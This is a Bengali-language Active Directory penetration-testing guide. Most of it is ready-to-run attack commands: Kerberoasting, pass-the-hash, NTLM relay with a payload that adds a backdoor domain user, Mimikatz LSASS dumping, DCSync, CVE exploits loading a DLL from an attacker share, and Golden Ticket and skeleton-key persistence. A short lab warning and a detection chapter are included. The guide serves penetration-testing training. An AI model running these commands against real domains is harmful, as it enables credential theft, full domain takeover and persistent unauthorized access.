Windows AD Penetration Testing — সম্পূর্ণ বাংলা গাইড

AD Enumeration থেকে শুরু করে Kerberoasting, Pass-the-Hash, DCSync, Golden Ticket — Active Directory Attack-এর সব কিছু এক জায়গায়।

📋 বিষয়সূচি

০১ Active Directory পরিচিতি

AD কী, Domain, DC, Forest, Trust, Kerberos

০২ Lab Setup

Windows Server, Kali, vulnerable AD lab তৈরি

০৩ AD Enumeration

BloodHound, PowerView, ldapsearch, enum4linux

User, Group, GPO, ACL — সব তথ্য সংগ্রহ

০৪ Kerberos Attacks

AS-REP Roasting, Kerberoasting, Overpass-the-Hash

Pass-the-Ticket, Silver Ticket, Golden Ticket

০৫ Credential Attacks

Pass-the-Hash, Pass-the-Password, NTLM Relay

Mimikatz, secretsdump, LSASS dump

০৬ Lateral Movement

WMI, PSExec, SMB, WinRM — নেটওয়ার্কে ছড়ানো

০৭ Domain Privilege Escalation

ACL Abuse, AS-REP, Unconstrained Delegation

PrintNightmare, ZeroLogon, noPac

০৮ Domain Compromise

DCSync, ntds.dit dump, Golden Ticket, Diamond Ticket

০৯ Defense ও Detection

Windows Event Logs, Tiering Model, Hardening

১০ Cheat Sheet & Roadmap

সব গুরুত্বপূর্ণ কমান্ড ও শেখার পথ

CHAPTER 01

🏰 Active Directory পরিচিতি

Windows Enterprise Network-এর মূল ভিত্তি বোঝো

Active Directory কী?

Active Directory (AD) হলো Microsoft-এর directory service যা Windows domain network-এ user, computer, policy সব কিছু centrally manage করে। ৯০%+ enterprise network-এ AD আছে — তাই AD হ্যাক করতে পারলে পুরো organization compromise হয়।

AD মূল উপাদান

```
AD Forest: corp.local
│
├── Domain: corp.local
│    ├── Domain Controller (DC)  ← সবচেয়ে গুরুত্বপূর্ণ target!
│    │    └── ntds.dit (সব user hash এখানে!)
│    ├── Users: john, alice, svc_sql...
│    ├── Computers: WS01, SERVER01...
│    ├── Groups: Domain Admins, IT, HR...
│    ├── OUs: Computers, Users, Servers...
│    └── GPOs: Password Policy, Scripts...
│
└── Child Domain: dev.corp.local (Trust relationship)

Kerberos (Port 88) — Authentication Protocol
LDAP (Port 389/636) — Directory Query
SMB (Port 445) — File/Service Access
RPC (Port 135) — Remote Procedure Call
```

গুরুত্বপূর্ণ সংজ্ঞা

শব্দ	মানে	Security গুরুত্ব
Domain Controller (DC)	সব authentication পরিচালনা করে	CRITICAL TARGET
ntds.dit	AD database — সব user hash এখানে	CRITICAL
KRBTGT	Kerberos ticket তৈরির account	Golden Ticket!
Domain Admin	সর্বোচ্চ privilege group	Ultimate goal
Service Account	Service চালানোর জন্য account	Kerberoast target
ACL/ACE	Access Control — কে কী করতে পারে	Abuse করা যায়
GPO	Group Policy — সব machine-এ apply	Persistence
SPN	Service Principal Name	Kerberoast signal

Kerberos Authentication — কীভাবে কাজ করে?

```
Client              KDC (DC)                    Service

1. AS-REQ ──────────►
   (username + timestamp,
    encrypted w/ password hash)

              ◄────── 2. AS-REP
                         TGT (Ticket Granting Ticket)
                         encrypted w/ KRBTGT hash

3. TGS-REQ ──────────►
   (TGT + SPN request)

              ◄────── 4. TGS-REP
                         Service Ticket
```

```
                    encrypted w/ Service Account hash
                    ← Kerberoast এখানে! (offline crack)

5. AP-REQ ──────────────────────────────────────►
   (Service Ticket)

                                  ◄──────────── 6. Access!
```

AD Attack Kill Chain

Recon

Enum users, shares

Initial Access

Low-priv user

Credential

Kerberoast, PTH

Lateral Move

WMI, PSExec

PrivEsc

ACL abuse, CVE

👑

DA / DCSync

Domain Admin!

> ⚠️ **গুরুত্বপূর্ণ সতর্কতা**
>
> AD attack শুধুমাত্র নিজের lab বা authorized pentest-এ। Real organization-এ অনুমতি ছাড়া করলে Computer Fraud and Abuse Act-এর অধীনে আইনি সমস্যা হবে।

🏰 AD মনে রাখো

- ✅ DC = সবচেয়ে গুরুত্বপূর্ণ target — এটা হ্যাক হলে সব শেষ
- ✅ KRBTGT hash → Golden Ticket → যেকোনো user হওয়া যায়
- ✅ Kerberos → TGT → Service Ticket → SPN থাকলে Kerberoast!
- ✅ Kill Chain: Recon → Credential → Lateral → PrivEsc → DA

CHAPTER 02

🔧 Lab Setup

নিজের AD lab তৈরি করো — Vulnerable-AD দিয়ে সহজে

Lab Architecture

```
VMware / VirtualBox — Host-only Network: 192.168.56.0/24

┌──────────────────────────────────────────────────┐
│                                                  │
│  ┌─────────────────┐    ┌────────────────────────┐ │
│  │ Windows Server  │    │   Kali Linux           │ │
│  │ 2019 / 2022     │    │   (Attacker)           │ │
│  │ 192.168.56.10   │    │   192.168.56.20        │ │
│  │                 │    │                        │ │
│  │ ● Domain: corp  │    │ ● impacket             │ │
│  │ ● DC role       │    │ ● BloodHound           │ │
│  │ ● AD DS         │    │ ● CrackMapExec         │ │
│  │ ● Users: 10+    │    │ ● PowerView            │ │
│  └─────────────────┘    └────────────────────────┘ │
│                                                  │
│  ┌─────────────────┐                               │
│  │ Windows 10 VM   │                               │
│  │ 192.168.56.11   │  (Victim Workstation)         │
│  │ Domain joined   │                               │
│  └─────────────────┘                               │
└──────────────────────────────────────────────────┘
```

Vulnerable-AD — সহজ Lab Setup

```
# Vulnerable-AD: https://github.com/WazeHell/vulnerable-AD # Windows Server 2019-এ PowerShell (Admin) চালাও: # 1. Windows Server 2019 VM তৈরি করো # 2. Evaluation version: eval.center থেকে ISO নাও # 3. PowerShell (Admin): Set-ExecutionPolicy Unrestricted -Force iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/WazeHell/vulnerable-AD/master/vulnad.ps1')) Invoke-VulnAD -UsersLimit 100 -Domain "corp.local" # এটা automatically তৈরি করবে: # ✓ AD Domain: corp.local # ✓ 100 random user # ✓ Kerberoastable accounts (SPN set) # ✓ AS-REP Roastable accounts # ✓ Misconfigured ACLs # ✓ Weak passwords # Alternative: GOAD (Game of Active Directory) # https://github.com/Orange-Cyberdefense/GOAD # Vagrant + VirtualBox দিয়ে বড় lab
```

Kali Linux টুল ইনস্টল

```
# Essential AD attack tools: sudo apt update && sudo apt install -y \ bloodhound neo4j \ impacket-scripts \ crackmapexec \ evil-winrm \ ldap-utils \ smbclient \ enum4linux \ kerbrute # Python tools: pip3 install impacket bloodhound # BloodHound setup: sudo neo4j start bloodhound & # → http://localhost:7474 → neo4j/neo4j → change password # Default: neo4j / neo4j # /etc/hosts-এ DC যোগ করো: echo "192.168.56.10 dc01.corp.local corp.local" | sudo tee -a /etc/hosts # DNS set করো: sudo resolvectl dns eth0 192.168.56.10
```

🔗 Lab Setup মনে রাখো

- ✅ Vulnerable-AD → সহজে intentionally vulnerable lab তৈরি
- ✅ BloodHound + neo4j → AD visualize করার সেরা tool
- ✅ impacket → সব Python-based AD attack tool
- ✅ /etc/hosts → Domain name resolve করার জন্য

CHAPTER 03

🔍 AD Enumeration

তথ্য সংগ্রহ — attack-এর সবচেয়ে গুরুত্বপূর্ণ ধাপ

Unauthenticated Enumeration — Login ছাড়াই

```
# নেটওয়ার্ক স্ক্যান nmap -sV -p 88,135,139,389,445,464,636,3268,3389 192.168.56.10 nmap --script ldap-rootdse -p 389 192.168.56.10 # LDAP info nmap --script smb-enum-shares -p 445 192.168.56.10 # SMB shares # enum4linux — SMB/LDAP enumeration enum4linux -a 192.168.56.10 enum4linux -u "" -p "" -a 192.168.56.10 # Null session # smbclient — Shares দেখো smbclient -L //192.168.56.10 -N # Null session smbclient //192.168.56.10/SYSVOL -N # SYSVOL access # Kerbrute — Valid username খোঁজো (AS-REQ) kerbrute userenum --dc 192.168.56.10 -d corp.local usernames.txt # → john@corp.local - VALID # → alice@corp.local - VALID
```

BloodHound — AD Map তৈরি করো

```
# BloodHound Collector (SharpHound) চালাও: # Windows-এ (domain user হিসেবে): .\SharpHound.exe -c All --zipfilename bloodhound_data.zip # Linux-এ (bloodhound-python): pip3 install bloodhound bloodhound-python -d corp.local -u john -p Password123 \ -dc dc01.corp.local -c All --zip # BloodHound UI-তে data import করো: # Upload Data → ZIP file select করো # Useful BloodHound Queries: # "Find all Domain Admins" # "Shortest Path to Domain Admins" # "Find Principals with DCSync Rights" # "Find Kerberoastable Users" # "Find AS-REP Roastable Users" # "Find Computers with Unconstrained Delegation"
```

PowerView / LDAP — বিস্তারিত Enumeration

```
# PowerView (Windows domain machine-এ): Import-Module .\PowerView.ps1 == Domain Info == Get-NetDomain # Domain info Get-NetDomainController # DC list Get-DomainPolicy # Password policy (Get-DomainPolicy)."SystemAccess" # Min password length etc. == User Enumeration == Get-NetUser # সব user Get-NetUser -Username john # নির্দিষ্ট user Get-NetUser | select samaccountname, description # ⭐ Password in description! Get-NetUser -SPN # Kerberoastable users! Get-NetUser -PreauthNotRequired # AS-REP Roastable! == Group Enumeration == Get-NetGroup "Domain Admins" # DA members Get-NetGroupMember "Domain Admins" Get-NetLocalGroup -ComputerName WS01 # Local admins == Computer Enumeration == Get-NetComputer # সব computer Get-NetComputer -OperatingSystem "*Server*" Get-NetComputer -Unconstrained # Unconstrained delegation! == Share Enumeration == Find-DomainShare # সব share Find-InterestingDomainShareFile # Interesting files Invoke-ShareFinder # Accessible shares == ACL Enumeration == Get-ObjectAcl -SamAccountName john -ResolveGUIDs # john-এর ACL Find-InterestingDomainAcl -ResolveGUIDs # ⭐ Abuseable ACLs!
```

CrackMapExec — Swiss Army Knife

```
# CrackMapExec (CME) — network-wide enumeration crackmapexec smb 192.168.56.0/24 # Network discovery crackmapexec smb 192.168.56.10 -u "" -p "" --shares # Null session shares crackmapexec smb 192.168.56.10 -u john -p Password123 --shares crackmapexec smb 192.168.56.10 -u john -p Password123 --users crackmapexec smb 192.168.56.10 -u john -p Password123 --groups crackmapexec smb 192.168.56.10 -u john -p Password123 --loggedon-users crackmapexec smb 192.168.56.10 -u john -p Password123 --pass-pol # Password policy # LDAP দিয়ে: crackmapexec ldap 192.168.56.10 -u john -p Password123 --bloodhound -c All crackmapexec ldap 192.168.56.10 -u john -p Password123 --kerberoasting kerberoast.txt crackmapexec ldap 192.168.56.10 -u john -p Password123 --asreproast asrep.txt
```

🔍 Enumeration মনে রাখো

- ✅ BloodHound → AD visualize করো, attack path খোঁজো
- ✅ `Get-NetUser | select description` → Password in description!
- ✅ `Get-NetUser -SPN` → Kerberoast target | `-PreauthNotRequired` → AS-REP target

- ✅ CME → Network-wide দ্রুত enumeration

CHAPTER 04

Kerberos Attacks

AS-REP Roasting, Kerberoasting, Golden Ticket — সবচেয়ে শক্তিশালী AD attack

AS-REP Roasting — Pre-auth disabled user

```
# Pre-authentication disabled থাকলে → Password জানা ছাড়াই hash পাওয়া যায়! # User attribute: DONT_REQ_PREAUTH set থাকলে vulnerable # impacket — GetNPUsers.py: GetNPUsers.py corp.local/ -dc-ip 192.168.56.10 -usersfile users.txt -no-pass GetNPUsers.py corp.local/john:Password123 -dc-ip 192.168.56.10 -request # Output: $krb5asrep$23$alice@CORP.LOCAL:3f8a2b... ← crack করো! # CrackMapExec: crackmapexec ldap dc01.corp.local -u john -p Password123 --asreproast asrep.txt # Hash crack করো: hashcat -m 18200 asrep.txt rockyou.txt hashcat -m 18200 asrep.txt rockyou.txt --force john --format=krb5asrep asrep.txt --wordlist=rockyou.txt # PowerView দিয়ে AS-REP vulnerable user খোঁজো: Get-NetUser -PreauthNotRequired | select samaccountname
```

Kerberoasting — Service Account Hash চুরি

```
# SPN (Service Principal Name) set থাকা account-কে Service Ticket request করো # Service Ticket service account-এর hash দিয়ে encrypt → Offline crack! # impacket — GetUserSPNs.py: GetUserSPNs.py corp.local/john:Password123 -dc-ip 192.168.56.10 -request GetUserSPNs.py corp.local/john:Password123 -dc-ip 192.168.56.10 -request -outputfile kerberoast.txt # Output: $krb5tgs$23$*svc_sql$CORP.LOCAL$corp.local/svc_sql*$2ac8... ← crack! # CrackMapExec: crackmapexec ldap dc01.corp.local -u john -p Password123 --kerberoasting kerberoast.txt # PowerShell (Windows, Rubeus): .\Rubeus.exe kerberoast /outfile:kerberoast.txt # Hash crack: hashcat -m 13100 kerberoast.txt
```

```
rockyou.txt # RC4 (most common) hashcat -m 19600 kerberoast.txt rockyou.txt # AES256 john --format=krb5tgs kerberoast.txt --wordlist=rockyou.txt
```

Pass-the-Ticket (PTT)

```
# TGT বা Service Ticket চুরি করে use করা # Rubeus (Windows): .\Rubeus.exe dump /nowrap # সব ticket dump .\Rubeus.exe tgtdeleg /nowrap # TGT extract .\Rubeus.exe ptt /ticket:BASE64_TICKET # Ticket inject # impacket — ticketer.py: # TGT inject করো: export KRB5CCNAME=/tmp/john.ccache psexec.py -k -no-pass corp.local/john@dc01.corp.local
```

Golden Ticket — সর্বোচ্চ Access

👑 Golden Ticket — সবচেয়ে শক্তিশালী Attack

KRBTGT account-এর NTLM hash পেলে যেকোনো user (এমনকি non-existent user) হিসেবে যেকোনো service access করা যায়। Domain reset না করলে Golden Ticket কাজ করতে থাকে!

```
# Golden Ticket তৈরির জন্য দরকার: # 1. Domain name: corp.local # 2. Domain SID: S-1-5-21-... # 3. KRBTGT NTLM hash # Domain SID বের করো: Get-DomainSID # PowerView whoami /user # Windows lookupsid.py corp.local/john:Password123@dc01.corp.local 0 # impacket # KRBTGT hash বের করো (DA privilege লাগবে): secretsdump.py corp.local/Administrator:Admin123@dc01.corp.local # DCSync # → krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a94f57ec31d1b9... # Golden Ticket তৈরি ও inject — impacket: ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local backdoor_admin export KRB5CCNAME=backdoor_admin.ccache psexec.py -k -no-pass corp.local/backdoor_admin@dc01.corp.local # Mimikatz (Windows): kerberos::golden /user:backdoor /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt misc::cmd # Shell with golden ticket
```

🎟️ Kerberos Attack মনে রাখো

- ✅ AS-REP Roast → Pre-auth disabled → `GetNPUsers.py` → hashcat -m 18200
- ✅ Kerberoast → SPN set → `GetUserSPNs.py` → hashcat -m 13100
- ✅ Golden Ticket → KRBTGT hash → সব কিছু access!
- ✅ এই দুটো attack-ই low-privilege user দিয়েই করা যায়

CHAPTER 05

🔑 Credential Attacks

Password না জেনেই Hash দিয়ে authenticate — PTH, NTLM Relay, Mimikatz

Pass-the-Hash (PTH)

```
# NTLM hash পেলে password ছাড়াই authenticate করা যায়! # Hash format: LM:NT
(aad3b435b51404eeaad3b435b51404ee:NTLM_HASH) # impacket — psexec, smbexec,
wmiexec: psexec.py corp.local/Administrator@192.168.56.10 -hashes :NTLM_HASH
smbexec.py corp.local/Administrator@192.168.56.10 -hashes aad3...:NTLM_HASH
wmiexec.py corp.local/Administrator@192.168.56.10 -hashes :NTLM_HASH #
CrackMapExec PTH: crackmapexec smb 192.168.56.0/24 -u Administrator -H NTLM_HASH
crackmapexec smb 192.168.56.10 -u Administrator -H NTLM_HASH --exec-method wmiexec
-x "whoami" # evil-winrm PTH: evil-winrm -i 192.168.56.10 -u Administrator -H
NTLM_HASH # Mimikatz (Windows) — sekurlsa::pth sekurlsa::pth /user:Administrator
/domain:corp.local /ntlm:HASH /run:cmd.exe
```

Mimikatz — Credential Extraction

```
# Mimikatz: https://github.com/gentilkiwi/mimikatz # LSASS থেকে plaintext password
ও hash বের করে privilege::debug # Debug privilege (Admin দরকার)
sekurlsa::logonpasswords # ⭐⭐⭐ সব logged-in user-এর credential!
sekurlsa::wdigest # WDigest plaintext (old Windows) sekurlsa::tickets # Kerberos
tickets sekurlsa::krbtgt # KRBTGT session key lsadump::sam # Local SAM database
lsadump::lsa /patch # LSA secrets lsadump::dcsync /user:krbtgt # DCSync! # LSASS
dump → offline analysis: # Task Manager → Details → lsass.exe → Right-click →
Create dump file # Procdump: .\procdump.exe -accepteula -ma lsass.exe lsass.dmp #
Dump analysis (Kali-তে): pypykatz lsa minidump lsass.dmp # pip3 install pypykatz
```

NTLM Relay Attack

```
# Responder + ntlmrelayx — MITM credential capture # ধাপ 1: Responder চালাও (NBT-NS/LLMNR poison): sudo responder -I eth0 -rdwv # SMB/HTTP বন্ধ রাখো (-S -F): sudo responder -I eth0 -rdwv -S -F # ধাপ 2: ntlmrelayx চালাও (impacket): ntlmrelayx.py -tf targets.txt -smb2support ntlmrelayx.py -tf targets.txt -smb2support -i # Interactive SMB shell ntlmrelayx.py -tf targets.txt -smb2support -e shell.exe # Execute payload ntlmrelayx.py -tf targets.txt -smb2support -c "net user hacker P@ss /add /domain" # ধাপ 3: victim যখন \\FAKE_HOST-এ connect করে → hash relay হয় # Mitigation: SMB Signing enable করো (Relay কাজ করবে না) crackmapexec smb 192.168.56.0/24 --gen-relay-list targets.txt # Signing disabled hosts
```

secretsdump — Remote Credential Dump

```
# impacket — secretsdump.py # Remote credential dump (Admin access দরকার): secretsdump.py corp.local/Administrator:Admin123@192.168.56.10 secretsdump.py corp.local/Administrator@192.168.56.10 -hashes :NTLM_HASH # Output: corp.local\Administrator:500:aad3...:8846f7eaee8fb117... corp.local\john:1104:aad3...:3dbde697d71690a769204... krbtgt:502:aad3...:a94f57ec31d1b96ce13abb789... ← Golden Ticket! # ntds.dit থেকে (local): secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

🔑 Credential Attack মনে রাখো

- ✅ Pass-the-Hash → `psexec.py -hashes :NTLM_HASH`
- ✅ Mimikatz → `sekurlsa::logonpasswords` → plaintext + hash
- ✅ NTLM Relay → Responder + ntlmrelayx → SMB signing off হলে কাজ করে
- ✅ secretsdump.py → Remote hash dump — Admin access লাগে

CHAPTER 06

Lateral Movement

নেটওয়ার্কে একটা machine থেকে অন্যটায় যাওয়ার কৌশল

Lateral Movement পদ্ধতি

```
═══════ PSExec (SMB) ═══════ psexec.py corp.local/Administrator:Admin123@192.168.56.11 psexec.py corp.local/Administrator@192.168.56.11 -hashes :NTLM_HASH # Port 445 (SMB) + Admin share দরকার ═══════ WMIExec ═══════ wmiexec.py corp.local/Administrator:Admin123@192.168.56.11 wmiexec.py corp.local/Administrator@192.168.56.11 -hashes :NTLM_HASH # Port 135 (WMI) ═══════ SMBExec ═══════ smbexec.py corp.local/Administrator:Admin123@192.168.56.11 # Noisier than wmiexec ═══════ WinRM (5985) ═══════ evil-winrm -i 192.168.56.11 -u Administrator -p Admin123 evil-winrm -i 192.168.56.11 -u Administrator -H NTLM_HASH # PowerShell remoting ═══════ CrackMapExec ═══════ crackmapexec smb 192.168.56.0/24 -u Administrator -p Admin123 # Password spray crackmapexec smb 192.168.56.0/24 -u Administrator -H NTLM_HASH # PTH spray crackmapexec smb 192.168.56.0/24 -u Administrator -p Admin123 -x "ipconfig" # Execute ═══════ RDP (3389) ═══════ xfreerdp /v:192.168.56.11 /u:Administrator /p:Admin123 xfreerdp /v:192.168.56.11 /u:Administrator /pth:NTLM_HASH # Restricted Admin mode
```

PowerShell Remoting

```
# PowerShell দিয়ে remote execution (WS-Management) # Remote session তৈরি: $session = New-PSSession -ComputerName WS01 -Credential corp\Administrator Enter-PSSession -ComputerName WS01 -Credential corp\Administrator # Shell খুলবে: [WS01]: PS C:\> # Remote command চালাও: Invoke-Command -ComputerName WS01 -ScriptBlock {whoami; hostname} Invoke-Command -ComputerName WS01 -Credential $cred -ScriptBlock
```

```
{ipconfig} # Script চালাও: Invoke-Command -ComputerName WS01 -FilePath .\payload.ps1 # impacket — atexec.py (Scheduled Task): atexec.py corp.local/Administrator:Admin123@192.168.56.11 "whoami"
```

Token Impersonation — Privilege চুরি

```
# Windows Token: প্রতিটি process-এর identity # Domain Admin যদি machine-এ login থাকে → Token impersonate করো! # Incognito (Metasploit): meterpreter > use incognito meterpreter > list_tokens -u meterpreter > impersonate_token "CORP\\Administrator" # Rubeus — Token: .\Rubeus.exe triage # সব Kerberos ticket দেখো .\Rubeus.exe dump /nowrap /luid:0x3e4 # নির্দিষ্ট token dump # Metasploit getsystem: meterpreter > getsystem # Token impersonation দিয়ে SYSTEM
```

🌐 Lateral Movement মনে রাখো

- ✅ WMIExec → সবচেয়ে কম noisy
- ✅ evil-winrm → WinRM (5985) → সহজ interactive shell
- ✅ CME → network-wide spray, দ্রুত
- ✅ Token impersonation → DA machine-এ থাকলে → DA হওয়া যায়

CHAPTER 07

⬆ Domain Privilege Escalation

Low-priv থেকে Domain Admin হওয়ার পথ

ACL Abuse — Permission Misconfiguration

```
# Dangerous AD Rights: GenericAll # → Full control! Password reset, add to group
GenericWrite # → Write any attribute → SPN set করো → Kerberoast! WriteOwner # →
Object owner হওয়া যায় WriteDACL # → DCSync rights দেওয়া যায়! ForceChangePassword # →
Password change করো AllExtendedRights # → Including ForceChangePassword AddMember
# → Group-এ add করো Self # → নিজেকে group-এ add করো # GenericAll on User →
Password Reset: Set-DomainUserPassword -Identity alice -AccountPassword
(ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose # GenericAll
on Group → Member Add: Add-DomainGroupMember -Identity "Domain Admins" -Members
john -Verbose # GenericWrite → Targeted Kerberoasting: Set-DomainObject -Identity
alice -Set @{serviceprincipalname='nonexistent/BLAH'} # এখন alice-কে kerberoast
করো! GetUserSPNs.py corp.local/john:Password123 -dc-ip 192.168.56.10 -request #
WriteDACL → DCSync rights দাও: Add-DomainObjectAcl -TargetIdentity
"DC=corp,DC=local" \ -PrincipalIdentity john \ -Rights DCSync -Verbose # এখন john
দিয়ে DCSync করো!
```

Unconstrained Delegation

```
# Unconstrained Delegation: Computer বা Service যেকোনো service-এ user-এর হয়ে যেতে
পারে # Vulnerable computer-এ যদি DA connect করে → TGT পাওয়া যায়! # Unconstrained
delegation computer খোঁজো: Get-NetComputer -Unconstrained | select samaccountname
# DC ছাড়া অন্য machine থাকলে vulnerable! # Printer Bug (SpoolSample) দিয়ে DA force
করো: # DC-কে vulnerable machine-এ connect করাও → TGT capture! .\SpoolSample.exe
```

```
DC01 COMPROMISED_MACHINE # Rubeus দিয়ে TGT monitor করো: .\Rubeus.exe monitor
/interval:5 /nowrap # → DC01$-এর TGT পাওয়া গেছে → DCSync!
```

Critical CVEs — AD Privilege Escalation

ZeroLogon (CVE-2020-1472)

CRITICAL — CVSS 10.0

Netlogon authentication bypass — DC-র machine account password শূন্য করা যায়, তারপর DCSync!

```
cve-2020-1472-exploit.py -n DC01 -t 192.168.56.10
```

PrintNightmare (CVE-2021-1675)

CRITICAL

Print Spooler service-এ RCE → SYSTEM privilege। Low-priv user দিয়ে DA হওয়া যায়।

```
CVE-2021-1675.py corp.local/john:Pass@dc01 '\\attacker\share\shell.dll'
```

noPac (CVE-2021-42278/42287)

CRITICAL

Domain user → Domain Admin in one step! Machine account name manipulation।

```
noPac.py corp.local/john:Pass -dc-ip 192.168.56.10 --impersonate Administrator -dump
```

PetitPotam (CVE-2021-36942)

HIGH

NTLM coercion — DC-কে attacker-এর কাছে connect করানো → NTLM relay → DA!

```
PetitPotam.py attacker_ip dc_ip
```

⬆️ Domain PrivEsc মনে রাখো

- ✅ BloodHound → "Shortest Path to DA" — attack path খোঁজো
- ✅ GenericAll → Password reset | GenericWrite → Kerberoast | WriteDACL → DCSync
- ✅ ZeroLogon, noPac → Patch করা না থাকলে → DA এক ধাপেই!
- ✅ `Find-InterestingDomainAcl` → Abuseable ACL খোঁজো

CHAPTER 08

👑 Domain Compromise

DCSync, ntds.dit dump, Golden Ticket — সম্পূর্ণ Domain control

DCSync — Domain Replication Attack

```
# DCSync: DC-র Replication API abuse করে সব hash বের করা # Requires: Domain Admin OR DCSync rights (WriteDACL দিয়ে দেওয়া যায়) # impacket — secretsdump.py (সবচেয়ে সহজ): secretsdump.py corp.local/Administrator:Admin123@192.168.56.10 secretsdump.py corp.local/Administrator@192.168.56.10 -hashes :NTLM_HASH # নির্দিষ্ট user: secretsdump.py corp.local/Administrator:Admin123@dc01.corp.local -just-dc-user krbtgt secretsdump.py corp.local/Administrator:Admin123@dc01.corp.local -just-dc-ntlm # Output: corp.local\Administrator:500:aad3...:8846f7eaee8fb117ad06bdd830b7586c corp.local\krbtgt:502:aad3...:a94f57ec31d1b96ce13abb789f4db0d0 ← Golden Ticket! corp.local\john:1104:aad3...:3dbde697d71690a769204beb12283678 # Mimikatz DCSync: lsadump::dcsync /domain:corp.local /user:krbtgt lsadump::dcsync /domain:corp.local /all /csv
```

ntds.dit — সব Hash এক ফাইলে

```
# ntds.dit = AD database (C:\Windows\NTDS\ntds.dit) # SYSTEM hive-ও দরকার (encryption key) # Volume Shadow Copy দিয়ে copy (DC-তে Admin হিসেবে): vssadmin create shadow /for=C: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit reg save HKLM\SYSTEM C:\temp\SYSTEM # ntdsutil দিয়ে: ntdsutil "activate instance ntds" "ifm" "create full C:\temp" q q # impacket দিয়ে local parse: secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM LOCAL secretsdump.py -ntds ntds.dit
```

```
-system SYSTEM -hashes lmhash:nthash LOCAL # সব hash crackmapexec দিয়ে crack করো:
crackmapexec smb 192.168.56.10 -u Administrator -H NTLM_HASH --sam
```

Persistence — DA access ধরে রাখা

```
# Golden Ticket (KRBTGT hash পেলে — 10 বছরের জন্য!): ticketer.py -nthash
KRBTGT_HASH -domain-sid S-1-5-21-... \ -domain corp.local -duration 3650
backdoor_admin # Silver Ticket (Service account hash — নির্দিষ্ট service): ticketer.py
-nthash SERVICE_HASH -domain-sid S-1-5-21-... \ -domain corp.local -spn
cifs/dc01.corp.local backdoor_user # Diamond Ticket (Golden Ticket-এর উন্নত
version): ticketer.py -request -domain corp.local/john:Pass123 \ -nthash
KRBTGT_HASH -aesKey AES_KEY -domain-sid S-1-5-21-... \ -user-id 500 Administrator
# Skeleton Key (DC-তে — যেকোনো user "mimikatz" password দিয়ে login): misc::skeleton
# Mimikatz — DC-তে চালাও # Password: "mimikatz" # AdminSDHolder abuse
(Persistence): Add-DomainObjectAcl -TargetIdentity
'CN=AdminSDHolder,CN=System,DC=corp,DC=local' \ -PrincipalIdentity john -Rights
All -Verbose # SDProp run হলে john-এর permission সব privileged group-এ propagate
হবে! # Rogue DC — DCShadow (Stealth): # Mimikatz lsadump::dcshadow — fake DC
register করো
```

👑 Domain Compromise মনে রাখো

- ✅ DCSync → `secretsdump.py` → সব hash — DA অথবা DCSync rights লাগবে
- ✅ ntds.dit → Shadow Copy → Offline parse, সব hash
- ✅ Golden Ticket → KRBTGT hash → ৩৬৫০ দিনের ticket — পুরো domain control!
- ✅ KRBTGT password দুইবার reset করো — Golden Ticket invalidate!

CHAPTER 09

Defense & Detection

AD হার্ডেনিং ও Attack Detection — Blue Team Guide

গুরুত্বপূর্ণ Windows Event IDs

Event ID	কী ঘটেছে	আক্রমণ
4625	Login failed	Brute Force
4648	Explicit credential login	Pass-the-Hash
4672	Special privilege assigned	Privilege Escalation
4688	New process created	Malicious execution
4698	Scheduled task created	Persistence
4720	User account created	Backdoor account
4732	Member added to security group	Privilege Escalation
4768	Kerberos TGT requested	AS-REP Roasting
4769	Kerberos Service Ticket requested	Kerberoasting
4771	Kerberos pre-auth failed	Password spray
4776	NTLM authentication	Pass-the-Hash
4662	AD object accessed (DCSync!)	DCSync

AD Hardening Checklist

✅ অবশ্যই করো

- KRBTGT password নিয়মিত reset করো (দুইবার)
- SMB Signing enable করো
- LLMNR/NBT-NS disable করো (NTLM Relay রোধ)
- Protected Users group ব্যবহার করো
- LAPS (Local Admin Password Solution)
- Tiered Administration Model
- Privileged Access Workstation (PAW)
- Windows Defender Credential Guard
- Audit logging (Event ID 4662, 4769)
- Microsoft ATA / Defender for Identity

❌ যা করবে না

- Domain Admin account দিয়ে daily কাজ
- Service account-এ weak password
- SPN অপ্রয়োজনীয় set করা
- Unconstrained Delegation ব্যবহার
- WDigest authentication enable
- SMB v1 enable রাখা
- DA account-এ email/browsing
- Print Spooler on DC
- Domain Admin-এ local login

Kerberoasting Detection

```
# Event ID 4769 — Kerberos Service Ticket Request # Normal: Encryption Type 0x12 (AES256) # Suspicious: Encryption Type 0x17 (RC4-HMAC) — Kerberoast! # Splunk Query: index=windows EventCode=4769 Ticket_Encryption_Type=0x17 | stats count by Account_Name, Service_Name | where count > 5 # Service account hardening: # AES encryption-only enforce করো: Set-ADUser svc_sql -KerberosEncryptionType AES256 # Managed Service Account (MSA) বা Group MSA ব্যবহার করো: New-ADServiceAccount -Name "svc_app" -ManagedPasswordIntervalInDays 30 # → Password auto-rotate হয়, crack করা অনেক কঠিন!
```

🛡️ Defense মনে রাখো

- ✅ Event 4769 + RC4 → Kerberoast | Event 4662 → DCSync
- ✅ LLMNR/NBT-NS off → NTLM Relay বন্ধ
- ✅ Tiered Model → DA account শুধু DC-তে ব্যবহার
- ✅ Managed Service Account → Auto password, Kerberoast কঠিন

CHAPTER 10

📋 Cheat Sheet & Roadmap

সব গুরুত্বপূর্ণ কমান্ড ও AD Pentester হওয়ার পথ

⚡ Quick Attack Commands

🔍 Enumeration

`bloodhound-python -d corp.local -u user -p pass -c All`	BloodHound collect
`Get-NetUser -SPN`	Kerberoast targets
`Get-NetUser -PreauthNotRequired`	AS-REP targets
`Find-InterestingDomainAcl -ResolveGUIDs`	ACL abuse
`crackmapexec smb 192.168.56.0/24 -u user -p pass`	Network sweep

🎫 Kerberos

`GetNPUsers.py corp.local/ -usersfile users.txt -no-pass`	AS-REP Roast
`GetUserSPNs.py corp.local/user:pass -request`	Kerberoast
`hashcat -m 18200 asrep.txt rockyou.txt`	AS-REP crack
`hashcat -m 13100 kerb.txt rockyou.txt`	TGS crack
`.\Rubeus.exe kerberoast /outfile:k.txt`	Rubeus Kerberoast

🔑 Credentials

`secretsdump.py corp/Admin:Pass@dc01`	DCSync
`secretsdump.py corp/Admin@dc01 -hashes :HASH`	DCSync PTH
